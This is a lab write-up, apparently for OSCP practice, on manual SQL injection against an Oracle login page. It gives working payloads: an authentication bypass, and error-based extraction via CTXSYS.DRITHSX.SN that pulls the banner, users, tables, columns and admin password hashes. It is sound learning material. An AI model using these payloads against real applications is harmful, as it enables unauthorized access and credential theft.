Learning SQL Injection in Oracle Databases
Documenting my findings and approach while trying to improve my skills
Last updated
Was this helpful?
Documenting my findings and approach while trying to improve my skills
Last updated
Was this helpful?
I don't want to make this post a long one, but my goal with the specific lab was to improve my knowledge in exploiting SQL Injections manually given that automated approaches with certain tools is not allowed when going through the OSCP Exam.
My issue here was performing certain actions when I had not messed with Oracle databases for so long. Most of the challenges I had messed with recently had been with MySQL and MSSQL.
So to start, I used the following references:
This is no different from any other SQL Injection, but what makes it different is the built-in functions, system tables, syntax, and basically anything else that makes one database platform different from another.
Find user-controlled inputs that can be tested. These can be application parameters in any form as long as the data sent to these parameters is used to retrieve information or perform some action like user authentication.
Once these inputs are found, use basic SQL injection strings and observe how the application reacts. When doing this, make sure your enumeration process was solid enough so you use the correct syntax.
As soon as you determine the parameter can be used for SQL injection, determine what type of SQL Injection or technique can be performed against the parameter. These can be boolean, error-based, blind, time-based.
Perform some initial enumeration through the SQL injection by relying on this technique. This to me was important, not only because it helped confirm what the backend database was, but also helped determine how I could extract the data and find it in the response.
In this instance, the SQL injection existed in the application's login page through both username and password parameters.
Through my initial test, I used a typical and basic SQL Injection query termination but for a different database on purpose to see how it would react. You don't necessarily have to do this and can go straight to the syntax that should work, I just did it and paid off immediately. See below:
SQLi query used is a basic authentication bypass query: admin' OR 1=1;-- -
We used the same against the username parameter to find out if it is injectable:
As you can see, not only input validation does not exist but also the incorrect syntax helped in getting the web server spit out an error that shows the SQL query in use.
Since we now know these are injectable, let's use a correct syntax while still using a basic SQLi query.
In Oracle, a correct syntax requires to have a "random" string right between the comment symbols and the next parameter. So a basic SQLi query for authentication bypass would be something like admin' OR 1=1-- kkkvkv
where the HTTP request body would be the following after the URL encoding is done: username=admin'%20OR%201%3d1--%20kkkvkv&password=admin
.
Since we did not get any errors against both parameters and no indication of any type of prevention, we can try to cause an error and see what happens, or in other words, attempt to use an Error-based SQL Injection. For this, we will rely on the CTXSYS.DRITHSX.SN Oracle Text function.
SQL Query used: admin' AND 1=CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))-- AeSCD
As you can see, and in this scenario, we were able to extract the service banner information from the backend database.
Using this approach, we can pretty much extract anything as long as the syntax is right, so if we try to retrieve the current user, we can use the following query: admin' AND 1=CTXSYS.DRITHSX.SN(user,(select user from dual))-- AeSCD
.
Just like the example above, we can also get the current database:
One thing to point out which is very important is that when retrieving data from an Oracle table, you are limited in the values you can retrieve. So for example, if we want to retrieve username and password from the 'all_users' table, it would throw an Oracle error:
In addition to this, we can only retrieve one row at a time. This can be done by using ROWNUM as an alias and using this alias in a WHERE clause. That being said, we would be retrieving and row at a time and per column.
SQL Query used: admin' OR 1=CTXSYS.DRITHSX.SN(user,(SELECT username FROM (SELECT ROWNUM r,username,password FROM all_users ORDER BY username) WHERE r=1))-- AeSCD
Given the situation and we are still nowhere close, the only way to do this would by scripting or we could use BurpSuite Intruder, but we decided to do some scripting.
I went for the scripting approach as I like relying on terminal as best as I can. What I came up with is by using curl and its data-urlencode option to let it encode the data sent through the HTTP POST request (in this case).
So, retrieving all the users in the all_users table looks like:
Here, I am not only retrieving the data by using a loop, but I'm also relying on shell string manipulation commands and by selecting first the text I want with grep and a basic regular expression that relies on the first three characters of the Oracle error code, DRG-11701.
What if we want to find any table that is user related? We can modify the query as we have been doing so far, but by using a WHERE clause to find any tables that contain the string user.
SQL Query Used: admin' OR 1=CTXSYS.DRITHSX.SN(user,(SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables WHERE table_name LIKE '%USER%' ORDER BY table_name) WHERE r=${NUM}))-- AeSCD
What if admin users are in a different table? It would be a very similar query by modifying the WHERE clause related to all_tables.
At this point, I would go straight to what could potentially give me the most bang for the buck, which would be to extract data from the WEB_ADMINS table. For this, we need to get some sense of the columns this table has. Problem is that give the SQL Injection and Oracle function we are using, I only got errors when trying to describe this table.
SQL Query Used: admin' OR 1=CTXSYS.DRITHSX.SN(user,(SELECT column_name FROM (SELECT ROWNUM r,column_name FROM all_tab_columns WHERE table_name = 'WEB_ADMINS') WHERE r=${NUM}))-- AeSCD
By knowing the columns in this table, we can now retrieve the usernames and passwords of the admin accounts using the following queries:
admin' OR 1=CTXSYS.DRITHSX.SN(user,(SELECT ADMIN_NAME FROM (SELECT ROWNUM r,ADMIN_NAME FROM WEB_ADMINS ORDER BY ADMIN_ID) WHERE r=${NUM}))-- AeSCD
admin' OR 1=CTXSYS.DRITHSX.SN(user,(SELECT PASSWORD FROM (SELECT ROWNUM r,PASSWORD FROM WEB_ADMINS ORDER BY ADMIN_ID) WHERE r=${NUM}))-- AeSCD
At this point, we have good information where we would only need to crack the password hash and then attempt to login into the web application and perform any necessary attack or exploitation to gain access into the web server. But, this is outside of the scope of this writeup.
I hope you find this as valuable as I feel it is and for me to share it! I know all this could've been done with tools such as SQLMap and get this faster, but using this tool is not allowed when taking the OSCP exam.